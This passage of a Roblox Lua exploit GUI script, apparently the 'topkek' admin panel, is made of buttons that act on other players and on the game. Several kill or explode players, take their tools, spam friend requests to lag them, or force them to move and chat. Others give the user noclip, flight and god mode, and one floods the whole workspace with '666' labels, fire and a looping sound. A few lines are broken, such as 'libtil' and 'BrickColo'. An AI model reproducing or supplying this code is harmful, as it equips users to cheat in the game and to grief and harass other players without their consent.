					topkek.libutil:recurseSetObj(z.Character, 'MeshPart', 'Transparency', 1)
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'God', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character:FindFirstChild('Humanoid') then
	
					z.Character.Humanoid.MaxHealth = math.huge
	
					z.Character.Humanoid.Health = math.huge
	
				end
	
			end)
	
		end)
	
	
	
		actions:drawButton(1/3, 'Semigod', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character:FindFirstChild('Humanoid') then
	
					z.Character.Humanoid.MaxHealth = 9999999999
	
					z.Character.Humanoid.Health = 9999999999
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Nuke', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				local torso = topkek.libutil:getTorso(z)
	
				local nuke = Instance.new("Part", game.Workspace)
	
				local opos = torso.CFrame
	
				nuke.BrickColor = BrickColor.new("Bright yellow")
	
				nuke.TopSurface = Enum.SurfaceType.Smooth
	
				nuke.BottomSurface = Enum.SurfaceType.Smooth
	
				nuke.Anchored = true
	
				nuke.CanCollide = false
	
				nuke.Shape = "Ball"				
	
				nuke.Transparency = 0.5
	
				nuke.CFrame = torso.CFrame		
	
				nuke.Size = Vector3.new(1, 1, 1)
	
				nuke.Touched:connect(function(p)
	
					local expl = Instance.new("Explosion", p)
	
					expl.BlastPressure = 50000
	
					expl.BlastRadius = 50
	
					expl.Position = p.Position
	
					p.Material = Enum.Material.CorrodedMetal
	
					p:BreakJoints()
	
				end)
	
				for i = 1, 150 do
	
					nuke.Size = Vector3.new(i, i, i)
	
					nuke.CFrame = opos
	
					wait(0.08)
	
				end
	
				nuke:Destroy()
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Confuse', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character:FindFirstChild('Humanoid') then
	
					z.Character.Humanoid.WalkSpeed = -16
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Goldify', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					topkek.libutil:recurseSetObj(z.Character, 'BasePart', 'Material', 'Marble')
	
					topkek.libutil:recurseSetObj(z.Character, 'MeshPart', 'Material', 'Marble')
	
					topkek.libutil:recurseSetObj(z.Character, 'BasePart', 'BrickColor', BrickColor.new('Bright yellow'))
	
					topkek.libutil:recurseSetObj(z.Character, 'MeshPart', 'BrickColor', BrickColor.new('Bright yellow'))
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Neon', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					topkek.libutil:recurseSetObj(z.Character, 'BasePart', 'Material', 'Neon')
	
					topkek.libutil:recurseSetObj(z.Character, 'MeshPart', 'Material', 'Neon')
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Insane', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					for i,v in pairs(topkek.libutil:getTorso(z):GetChildren()) do
	
						if v:IsA("Motor6D") then
	
							coroutine.wrap(function()
	
								while v do
	
									v.C0=v.C0*CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180))
	
									wait()
	
								end
	
							end)()
	
						end
	
					end
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Quicksand', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					if z.Character:FindFirstChild('Humanoid') then
	
						local tor = topkek.libutil:getTorso(z)
	
						local hole = Instance.new("Part", z.Character)
	
						hole.Anchored = true
	
						hole.Name = "Hole"
	
						hole.FormFactor = Enum.FormFactor.Custom
	
						hole.Size = Vector3.new(7, 1, 7)
	
						hole.CanCollide = false
	
						hole.CFrame = tor.CFrame * CFrame.new(0,-3.3,0)
	
						hole.BrickColor = BrickColor.new("Cool yellow")
	
						hole.Material = Enum.Material.Sand
	
						local hm = Instance.new("CylinderMesh", hole)
	
						tor.Anchored = true
	
						if z.Character:FindFirstChild("Humanoid") then
	
							z.Character.Humanoid.Jump = true
	
						end
	
						for x,m in pairs(z.Character:GetChildren()) do
	
							if m:IsA("BasePart") or m:IsA("MeshPart") then
	
								m.CanCollide = false
	
							end
	
						end
	
						for i=1,75 do
	
							tor.CFrame=tor.CFrame*CFrame.new(0,-0.1,0)
	
							wait(0.06)
	
						end
	
						tor.CFrame=tor.CFrame*CFrame.new(0,
	
							-500,0
	
						)
	
						z.Character.Humanoid.Health = 0
	
					end
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Duck', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					local pchar = z.Character
	
					--		    for i,v in pairs(pchar.Torso:GetChildren()) do
	
					--			    if v:IsA("Decal") then
	
					--				    v:Destroy()
	
					--			    end
	
					--		    end
	
					for i,v in pairs(pchar:GetChildren()) do
	
						if v:IsA("Hat") or v:IsA("Accessory") then
	
							v:Destroy()
	
						end
	
					end
	
					local duck = Instance.new("SpecialMesh", z.Character.HumanoidRootPart)
	
					duck.MeshType = "FileMesh"
	
					duck.MeshId = "http://www.roblox.com/asset/?id=9419831"
	
					duck.TextureId = "http://www.roblox.com/asset/?id=9419827"
	
					duck.Scale = Vector3.new(5, 5, 5)
	
					topkek.libutil:recurseSetObj(z.Character, 'Instance', 'Transparency', 1)
	
					z.Character.HumanoidRootPart.Transparency = 0
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Shrek', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					local pchar = z.Character
	
					for i,v in pairs(pchar:GetChildren()) do
	
						if v:IsA("Hat") or v:IsA("Accessory") or v:IsA("CharacterMesh") or v:IsA("Shirt") or v:IsA("Pants") then
	
							v:Destroy()
	
						end
	
					end
	
					for i,v in pairs(pchar.Head:GetChildren()) do
	
						if v:IsA("Decal") or v:IsA("SpecialMesh") then
	
							v:Destroy()
	
						end
	
					end
	
	
	
					local mesh = Instance.new("SpecialMesh", pchar.Head)
	
					mesh.MeshType = "FileMesh"
	
					pchar.Head.Mesh.MeshId = "http://www.roblox.com/asset/?id=19999257"
	
					pchar.Head.Mesh.Offset = Vector3.new(-0.1, 0.1, 0)
	
					pchar.Head.Mesh.TextureId = "http://www.roblox.com/asset/?id=156397869"
	
	
	
					local Shirt = Instance.new("Shirt", z.Character)
	
					local Pants = Instance.new("Pants", z.Character)
	
	
	
					Shirt.ShirtTemplate = "rbxassetid://133078194"
	
					Pants.PantsTemplate = "rbxassetid://133078204"
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Bighead', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					if z.Character:FindFirstChild('Head') then
	
						z.Character.Head.Mesh.Scale=Vector3.new(5,5,5)
	
					end
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Hotdog', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					if z.Character:FindFirstChild('Head') then
	
						topkek.libutil:weiner(z)
	
					end
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Dwarf [R6]', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					topkek.libutil:scalePlayer(z, 0.5)
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Giant [R6]', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					topkek.libutil:scalePlayer(z, 5)
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Giraffe [R6]', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					local char=z.Character
	
					local h=char.Head
	
					local tor=char:FindFirstChild("Torso")
	
					if not tor then return end
	
					tor.Neck.C0=tor.Neck.C0*CFrame.new(0,0,5)
	
					local fn=Instance.new("Part",char)
	
					fn.Size=Vector3.new(1,5.5,1)
	
					fn.Name="FakeNeck"
	
					fn.Anchored=false
	
					fn.CanCollide=false
	
					if char:FindFirstChild("Body Colors") then
	
						fn.BrickColor=char["Body Colors"].HeadColor
	
					end
	
					local cm=Instance.new("CylinderMesh",fn)
	
					local we=Instance.new("Weld",h)
	
					we.Part0=h
	
					we.Part1=fn
	
					we.C1=we.C1*CFrame.new(0,2.6,0)
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Select', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					Instance.new("SelectionBox", z.Character).Adornee = z.Character
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Sphere', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					Instance.new("SelectionSphere", z.Character).Adornee = z.Character
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Sit', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character:FindFirstChild("Humanoid") then
	
					z.Character.Humanoid.Sit = true
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Jump', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character:FindFirstChild("Humanoid") then
	
					z.Character.Humanoid.Jump = true
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'No Tools', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				for _, t in pairs(z.Backpack:GetChildren()) do
	
					t:Destroy()
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Take Tools', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				for _, t in pairs(z.Backpack:GetChildren()) do
	
					t.Parent = game:service'Players'.LocalPlayer.Backpack
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Disable', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character:FindFirstChild("Humanoid") then
	
					z.Character.Humanoid.Parent = nil
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Fast', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character:FindFirstChild("Humanoid") then
	
					z.Character.Humanoid.WalkSpeed = 50
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Slow', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character:FindFirstChild("Humanoid") then
	
					z.Character.Humanoid.WalkSpeed = 8
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3,'Explode', function()
	
			topkek.libtil:doPlayers(plrDrop, function(z)
	
				local explosion = Instance.new("Explosion")
	
				explosion.Position = topkek.libutil:getTorso(z).Position
	
				explosion.Parent = game.Workspace
	
			end)
	
		end)
	
		local Follow
	
		actions:drawButton(1/3,'Annoy', function()
	
			if Follow == true then
	
				Follow = false; return
	
			else Follow = true end
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				while Follow == true do
	
					game:service'Players'.LocalPlayer.Character.HumanoidRootPart.CFrame=
	
						z.Character.HumanoidRootPart.CFrame
	
					wait()
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3,'ForceField', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					Instance.new("ForceField", z.Character)
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3,'Friendlag', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				for i = 1, 10 do
	
					spawn(function()
	
						while wait() do
	
							game.Players.LocalPlayer:RequestFriendship(z)
	
							game.Players.LocalPlayer:RevokeFriendship(z)
	
						end
	
					end)
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3,'Force Follow', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				game:GetService("RunService"):BindToRenderStep("_", 0, function()
	
					z.Character.Humanoid:MoveTo(game.Players.LocalPlayer.Character.Head.Position)
	
				end)
	
			end)
	
		end)
	
		actions:drawButton(1/3,'Dab', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character and z.Character:FindFirstChild("Torso") then
	
					local chr = z.Character
	
					chr.Animate.Disabled = true
	
					chr.Torso["Left Shoulder"].C1 = CFrame.new(0, 0.699999988, 0, 0.939692616, 0, -0.342020124, -0.330366075, -0.258819044, -0.907673359, -0.0885213241, 0.965925813, -0.243210346)
	
					chr.Torso["Right Shoulder"].C1 = CFrame.new(-0.600000024, 0.5, -0.200000003, 0.664462984, 0.241844743, 0.707106769, -0.664462984, -0.241844788, 0.707106769, 0.342020154, -0.939692616, -3.09086197e-008)
	
					chr.Torso["Neck"].C1 = CFrame.new(0, -0.600000024, 0, -0.866025388, 0.5, 0, -0.171010137, -0.29619807, 0.939692616, 0.469846278, 0.813797653, 0.342020124)
	
				end
	
			end)
	
		end)
	
		actions:addSpacing()
	
		local chatInp
	
		actions:drawButton(1/2, 'Make Chat', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				game:GetService('Chat'):Chat(z.Character, chatInp.Text)
	
			end)
	
		end)
	
		chatInp = actions:drawTextBox(1/2, '')
	
		local insertInp
	
		actions:drawButton(1/2, 'Insert Into', function()
	
			if not tonumber(insertInp.Text) then return end
	
			local item = insert(insertInp.Text)
	
			if not item then return end
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				item:Clone().Parent = z.Backpack
	
			end)
	
		end)
	
		insertInp = actions:drawTextBox(1/2, '')
	
		local speedInp
	
		actions:drawButton(1/2, 'Set Speed', function()
	
			if not tonumber(speedInp.Text) then return end
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character:FindFirstChild('Humanoid') then
	
					z.Character.Humanoid.WalkSpeed = tonumber(speedInp.Text)
	
				end
	
			end)
	
		end)
	
		speedInp = actions:drawTextBox(1/2, '')
	
		local nameInp
	
		actions:drawButton(1/2, 'Set Name', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				local Character = z.Character
	
				local newName = Instance.new("Model", z.Character)
	
				newName.Name = nameInp.Text
	
				local cl = Character:WaitForChild("Head"):Clone()
	
				cl.Parent = newName
	
				cl:WaitForChild("face"):Destroy()
	
				local hum = Instance.new("Humanoid", newName)
	
				hum.Name = "NameTag"
	
				hum.MaxHealth = 0
	
				hum.Health = 0
	
				local weld = Instance.new("Weld", cl)
	
				weld.Part0 = cl
	
				weld.Part1 = Character:WaitForChild("Head")
	
				Character:WaitForChild("Head").Transparency = 1
	
				Wait(.5)
	
				cl.BrickColor = Character:WaitForChild("Head").BrickColo
	
			end)
	
		end)
	
		nameInp = actions:drawTextBox(1/2, '')
	
		--[[ localplayer ]]--
	
		local lp = game:GetService('Players').LocalPlayer
	
		local localwin = topkek.libgui:hookContainer(base['LocalPlayerContainer'])
	
		local appearInp
	
		localwin:drawButton(1/2, 'Set Appearance', function()
	
			local id = 0
	
			if not tonumber(appearInp.Text) then
	
				id = tonumber(appearInp.Text)
	
			else
	
				id = game:GetService('Players'):GetUserIdFromNameAsync(appearInp.Text)
	
			end
	
			lp.CharacterAppearance = 'https://assetgame.roblox.com/Asset/CharacterFetch.ashx?userId=' .. tostring(id)
	
		end)
	
		appearInp = localwin:drawTextBox(1/2, '')
	
		localwin:drawButton(1/2, 'Set TeamColor', function()
	
			if teamInp.Text == 'Neutral' then
	
				lp.Neutral = true
	
				return
	
			end
	
			local clr = BrickColor.new(teamInp.Text) 
	
			lp.TeamColor = clr
	
		end)
	
		teamInp = localwin:drawTextBox(1/2, 'Neutral')
	
		localwin:drawButton(1, 'Reset Camera', function()
	
			game.Workspace.CurrentCamera:remove()
	
			wait(.1)
	
			game.Workspace.CurrentCamera.CameraSubject = lp.Character.Humanoid or 
	
				game.Workspace[lp.Name].Humanoid
	
			game.Workspace.CurrentCamera.CameraType = "Custom"
	
		end)
	
		localwin:drawButton(1, 'Respawn', function()
	
			local a1 = Instance.new("Model", game:service'Workspace')
	
			local a2 = Instance.new("Part", game:service'Workspace')
	
			a2.CanCollide = true
	
			a2.Anchored = true
	
			a2.CFrame = CFrame.new(10000, 10000, 10000)
	
			a2.Name = "Torso"
	
			local a3 = Instance.new("Humanoid", a1)
	
			a3.MaxHealth=100;a3.Health=100
	
			lp.Character = a1
	
			a3.Health=0
	
		end)
	
		localwin:addSpacing()
	
		local Lev, Clip, Fly
	
		localwin:drawButton(1/2, 'Levitate', function()
	
			if Lev == true then
	
				Lev = false
	
				return
	
			end
	
			Lev = true
	
			repeat
	
				lp.Character.Humanoid:ChangeState(10)
	
				wait(0)
	
			until Lev == false
	
		end)
	
		localwin:drawButton(1/2, 'Noclip', function()
	
			if Clip == true then
	
				Clip = false
	
				return
	
			end
	
			Clip = true
	
			game:GetService("RunService").Stepped:connect(function()
	
				topkek.libutil:getTorso(lp).CanCollide = not Clip
	
				lp.Character.Head.CanCollide = not Clip
	
				lp.Character.HumanoidRootPart.CanCollide = not Clip
	
				if lp.Character.UpperTorso then
	
					lp.Character.LowerTorso.CanCollide = not Clip
	
				end
	
			end)
	
			lp.Character.HumanoidRootPart.Changed:connect(function()
	
				topkek.libutil:getTorso(lp).CanCollide = not Clip
	
				lp.Character.Head.CanCollide = not Clip
	
				lp.Character.HumanoidRootPart.CanCollide = not Clip
	
				if lp.Character.UpperTorso then
	
					lp.Character.LowerTorso.CanCollide = not Clip
	
				end
	
			end)
	
		end)
	
		localwin:drawButton(1/2, 'Fly', function()
	
			if Fly == true then
	
				Fly = false
	
				return
	
			end
	
			Fly = true
	
			local mouse=game.Players.LocalPlayer:GetMouse''
	
			localplayer=game.Players.LocalPlayer
	
			game.Players.LocalPlayer.Character:WaitForChild("HumanoidRootPart")
	
			local torso = game.Players.LocalPlayer.Character.HumanoidRootPart
	
			local speed=0
	
			local keys={a=false,d=false,w=false,s=false} 
	
			local e1
	
			local e2
	
			local function start()
	
				local pos = Instance.new("BodyPosition",torso)
	
				local gyro = Instance.new("BodyGyro",torso)
	
				pos.Name="EPIXPOS"
	
				pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
	
				pos.position = torso.Position
	
				gyro.maxTorque = Vector3.new(9e9, 9e9, 9e9) 
	
				gyro.cframe = torso.CFrame
	
				repeat
	
					wait()
	
					localplayer.Character.Humanoid.PlatformStand=true
	
					local new=gyro.cframe - gyro.cframe.p + pos.position
	
					if not keys.w and not keys.s and not keys.a and not keys.d then
	
						speed=1
	
					end 
	
					if keys.w then 
	
						new = new + workspace.CurrentCamera.CoordinateFrame.lookVector * speed
	
						speed=speed+0.01
	
					end
	
					if keys.s then 
	
						new = new - workspace.CurrentCamera.CoordinateFrame.lookVector * speed
	
						speed=speed+0.01
	
					end
	
					if keys.d then 
	
						new = new * CFrame.new(speed,0,0)
	
						speed=speed+0.01
	
					end
	
					if keys.a then 
	
						new = new * CFrame.new(-speed,0,0)
	
						speed=speed+0.01
	
					end
	
					if speed>5 then
	
						speed=5
	
					end
	
					pos.position=new.p
	
					if keys.w then
	
						gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(-math.rad(speed*15),0,0)
	
					elseif keys.s then
	
						gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(math.rad(speed*15),0,0)
	
					else
	
						gyro.cframe = workspace.CurrentCamera.CoordinateFrame
	
					end
	
				until not Fly
	
				if gyro then gyro:Destroy() end
	
				if pos then pos:Destroy() end
	
				flying=false
	
				localplayer.Character.Humanoid.PlatformStand=false
	
				speed=0
	
			end
	
			e1=mouse.KeyDown:connect(function(key)
	
				if not torso or not torso.Parent then flying=false e1:disconnect() e2:disconnect() return end
	
				if key=="w" then
	
					keys.w=true
	
				elseif key=="s" then
	
					keys.s=true
	
				elseif key=="a" then
	
					keys.a=true
	
				elseif key=="d" then
	
					keys.d=true
	
				end
	
			end)
	
			e2=mouse.KeyUp:connect(function(key)
	
				if key=="w" then
	
					keys.w=false
	
				elseif key=="s" then
	
					keys.s=false
	
				elseif key=="a" then
	
					keys.a=false
	
				elseif key=="d" then
	
					keys.d=false
	
				end
	
			end)
	
			start()
	
		end)
	
		localwin:drawButton(1/2, 'Highjump', function()
	
			local thrust = Instance.new("BodyVelocity")
	
			game:GetService('UserInputService').InputBegan:connect(function(i, b)
	
				if i.KeyCode == Enum.KeyCode.Space then
	
					print("Got jump")
	
					coroutine.resume(coroutine.create(function()
	
						thrust.Parent = game.Players.LocalPlayer.Character.PrimaryPart
	
						thrust.velocity = Vector3.new(0,50,0)
	
						thrust.maxForce = Vector3.new(0,4e+050,0)
	
						wait(0.2)
	
						thrust.Parent = nil 
	
					end))
	
				end
	
			end)
	
		end)
	
		localwin:addSpacing()
	
		localwin:drawButton(1/2, 'Freecam', function()
	
			local cam = game.Workspace.CurrentCamera
	
			cam.CameraType = "Fixed"
	
			cam.CameraSubject = nil
	
			lp.Character = nil
	
		end)
	
		localwin:drawButton(1/2, 'Nil Orb', function()
	
			game.Players.LocalPlayer.Character = nil
	
			--lp:Destroy()
	
			local cam = game.Workspace.CurrentCamera
	
			local m = Instance.new("Model", game.Workspace)
	
			m.Name = game.Players.LocalPlayer.Name
	
			local hum = Instance.new("Humanoid", m)
	
			hum.Health = 0
	
			hum.MaxHealth = 0
	
			local orb = Instance.new("Part", m)
	
			orb.Size = Vector3.new(1, 1, 1)
	
			orb.Shape = "Ball"
	
			orb.Name = "Head"
	
			orb.Anchored = true
	
			orb.CanCollide = true
	
			orb.BottomSurface = Enum.SurfaceType.Smooth
	
			orb.TopSurface = Enum.SurfaceType.Smooth
	
			orb.Transparency = 0
	
			cam.CameraSubject = orb
	
			cam.CameraType = Enum.CameraType.Fixed
	
			game:GetService("RunService").RenderStepped:connect(function()
	
				orb.CFrame = cam.CoordinateFrame * CFrame.new(0, -2, -6)
	
			end)
	
			game.Players.LocalPlayer.Chatted:connect(function(a)
	
				game:GetService("Chat"):Chat(orb, a)
	
			end)
	
		end)
	
		localwin:drawButton(1/2, 'God', function()
	
			lp.Character.Humanoid.MaxHealth = math.huge
	
			lp.Character.Humanoid.Health = math.huge
	
		end)
	
		localwin:drawButton(1/2, 'NoGrav', function()
	
			if lp.Character then
	
				for x,m in pairs(lp.Character:GetChildren()) do
	
					if m:IsA("BasePart") then
	
						local bf = Instance.new("BodyForce", m)
	
						bf.force = Vector3.new(0, 192.25, 0) * m:GetMass()
	
					end
	
					if m:IsA("Hat") or m:IsA("Accessory") then
	
						if m:findFirstChild("Handle") then
	
							local bf = Instance.new("BodyForce", m.Handle)
	
							bf.force = Vector3.new(0, 192.25, 0) * m.Handle:GetMass()
	
						end
	
					end
	
				end
	
			end
	
		end)
	
		localwin:drawButton(1/2, 'Rainbow Name', function()
	
			lp.Neutral = false
	
			repeat
	
				wait()
	
				lp.TeamColor = BrickColor.Random()
	
			until not lp.Character.Humanoid
	
		end)
	
		localwin:drawButton(1/2, 'Random Fedora', function()
	
			local hats={
	
				98346834,
	
				215751161,
	
				119916949,
	
				72082328,
	
				147180077,
	
				100929604,
	
				63043890,
	
				1285307,
	
				1029025,
	
				334663683,
	
				259423244
	
			}
	
			game:GetService("InsertService"):LoadAsset(hats[math.random(1,#hats)]):GetChildren()[1].Parent = lp.Character
	
		end)
	
		localwin:drawButton(1/2, 'Clear Appearance', function()
	
			lp:ClearCharacterAppearance()
	
		end)
	
		localwin:drawButton(1/2, 'Disguise', function()
	
			local p = lp.Character
	
			if p:FindFirstChild("topkek") then
	
				p.topkek:Destroy()
	
			end
	
			p.Name = ""
	
			p.Head.Transparency = 1
	
			local mo = Instance.new("Model", p)
	
			mo.Name = ""
	
			local hu = Instance.new("Humanoid", mo)
	
			hu.Name = "distag"
	
			hu.Health = 100
	
			hu.MaxHealth = 100
	
			local fh = p.Head:Clone()
	
			fh.Parent = mo
	
			fh.Transparency = 0
	
			local we = Instance.new("Weld", fh)
	
			we.Part0 = p.Head
	
			we.Part1 = mo
	
			lp:ClearCharacterAppearance()
	
			pcall(function() p["Body Colors"]:Destroy() end)
	
			Instance.new("BodyColors", p)
	
		end)
	
		localwin:drawButton(1, 'Dick Shooter', function()
	
			topkek.libutil:dickShooter()
	
		end)
	
		localwin:addSpacing()
	
		local hackerInp
	
		localwin:drawButton(1/2, 'Set Tag', function()
	
			local len = 10
	
			local bb = Instance.new("BillboardGui")
	
			bb.Parent = lp.Character.Head
	
			bb.Adornee = lp.Character.Head
	
			bb.AlwaysOnTop = true
	
			bb.Enabled = true
	
			bb.Size = UDim2.new(len, 0, 1.5, 0)
	
			bb.Name = "tag"
	
			bb.StudsOffset = Vector3.new(0, 3, 0)
	
			--local fr = Instance.new("Frame")
	
			--fr.Parent = bb
	
			--fr.Size = UDim2.new(1, 0, 1, 0)
	
			--fr.Style = Enum.FrameStyle.RobloxRound
	
			local tl = Instance.new("TextLabel")
	
			tl.Parent = bb
	
			tl.Font = Enum.Font.Code
	
			tl.BackgroundTransparency = 1
	
			tl.TextScaled = true
	
			tl.TextColor3 = Color3.new(15/255, 15/255, 15/255)
	
			tl.Size = UDim2.new(1, 0, 1, 0)
	
			tl.Text = hackerInp.Text
	
			tl.Name = "trutag"
	
			tl.Visible = true
	
			tl.ZIndex = 2
	
		end)
	
		hackerInp = localwin:drawTextBox(1/2, 'Hacker')
	
		--[[ scripts ]]--
	
		-- excuse my disgusting code :v
	
		local scriptwin = topkek.libgui:hookContainer(base['ScriptsContainer'])
	
		local search = scriptwin:drawTextBox(1,'')
	
		local origy = scriptwin:getDrawY()
	
		scriptwin:addSpacing()
	
		scriptwin:addSpacing()
	
		local a = Instance.new("LocalScript");a.Name='script 1'
	
		local b = Instance.new("LocalScript");b.Name='script 2'
	
		local c = Instance.new("LocalScript");c.Name='script 3'
	
		local scripts = {a,b,c}
	
		local container = {}
	
		function MakeList(condition)
	
			for i,v in pairs(scriptwin:GetChildren()) do
	
				if v.Name == "Script" then
	
					v:Destroy()
	
				end
	
			end
	
			scriptwin:setDrawY(origy)
	
			for i, v in pairs(scripts) do
	
				if string.find(v.Name, condition) or (condition == "") or (condition == " ") then
	
					local scr = scriptwin:drawButton(1, v.Name, function()
	
						print('no loadstring lol')
	
					end, 25)
	
					scr.Name = 'Script'
	
				end
	
			end
	
		end
	
		game:GetService("UserInputService").InputChanged:connect(function(inp)
	
			if inp.UserInputType == Enum.UserInputType.TextInput then
	
				if search:IsFocused() then
	
					MakeList(search.Text)
	
				end
	
			end
	
		end)
	
		MakeList('')
	
		--[[ misc main ]]--
	
		local miscwin = topkek.libgui:hookContainer(base['MiscellaneousContainer'])
	
		local scroll = miscwin:drawScrollingContainer(165)
	
		scroll:center()
	
		for i, v in pairs(topkek.libsettings:getSetting("misc")) do
	
			scroll:drawButton(1, v, function()
	
				topkek.libwindows:switchWindow(v .. 'Container', v)
	
			end)
	
		end
	
		scroll.main.CanvasSize = scroll.main.CanvasSize - UDim2.new(0, 0, 0, 3)
	
		--[[ initiation ]]--
	
		topkek.libwindows:registerWindow(base['HomeContainer'])
	
		topkek.libwindows:registerWindow(base['ServerContainer'])
	
		topkek.libwindows:registerWindow(base['PlayersContainer'])
	
		topkek.libwindows:registerWindow(base['LocalPlayerContainer'])
	
		topkek.libwindows:registerWindow(base['ScriptsContainer'])
	
		topkek.libwindows:registerWindow(base['MiscellaneousContainer'])
	
		topkek.libwindows:initiateNavigator()
	
		topkek.libwindows:initiateHome()
	end)
end;
task.spawn(C_2b);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
local function C_2d()
local script = G2L["2d"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		for i,v in next,workspace:children''do
			if(v:IsA'BasePart')then
				me=v;
				bbg=Instance.new('BillboardGui',me);
				bbg.Name='stuf';
				bbg.Adornee=me;
				bbg.Size=UDim2.new(2.5,0,2.5,0)
				--bbg.StudsOffset=Vector3.new(0,2,0)
				tlb=Instance.new'TextLabel';
				tlb.Text='666 666 666 666 666 666';
				tlb.Font='SourceSansBold';
				tlb.FontSize='Size48';
				tlb.TextColor3=Color3.new(1,0,0);
				tlb.Size=UDim2.new(1.25,0,1.25,0);
				tlb.Position=UDim2.new(-0.125,-22,-1.1,0);
				tlb.BackgroundTransparency=1;
				tlb.Parent=bbg;
			end;end;
		function xds(dd)
			for i,v in next,dd:children''do
				if(v:IsA'BasePart')then
					v.BrickColor=BrickColor.new'Really black';
					v.TopSurface='Smooth';
					v.BottomSurface='Smooth';
					s=Instance.new('SelectionBox',v);
					s.Adornee=v;
					s.Color=BrickColor.new'Really red';
					a=Instance.new('PointLight',v);
					a.Color=Color3.new(1,0,0);
					a.Range=15;
					a.Brightness=5;
					f=Instance.new('Fire',v);
					f.Size=19;
					f.Heat=22;
				end;
				game.Lighting.TimeOfDay=0;
				game.Lighting.Brightness=0;
				game.Lighting.ShadowColor=Color3.new(0,0,0);
				game.Lighting.Ambient=Color3.new(1,0,0);
				game.Lighting.FogEnd=200;
				game.Lighting.FogColor=Color3.new(0,0,0);
				local dec = 'http://www.roblox.com/asset/?id=19399245';
				local fac = {'Front', 'Back', 'Left', 'Right', 'Top', 'Bottom'}
				--coroutine.wrap(function()
				--for ,_ in pairs(fac) do
				--local ddec = Instance.new("Decal", v)
				--ddec.Face = 
				--ddec.Texture = dec
				--end end)()
				if #(v:GetChildren())>0 then
					xds(v) 
				end
			end
		end
		xds(game.Workspace)
		local s = Instance.new("Sound")
	
		s.Name = "Sound"
		s.SoundId = "http://www.roblox.com/asset/?id=35935204"
		s.Volume = 1
		s.Pitch = 0.9
		s.Looped = true
		s.archivable = false
	
		s.Parent = game.Workspace
	
		wait(1)
	
		s:play()
	
	
	
	end)
end;
task.spawn(C_2d);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
local function C_2f()
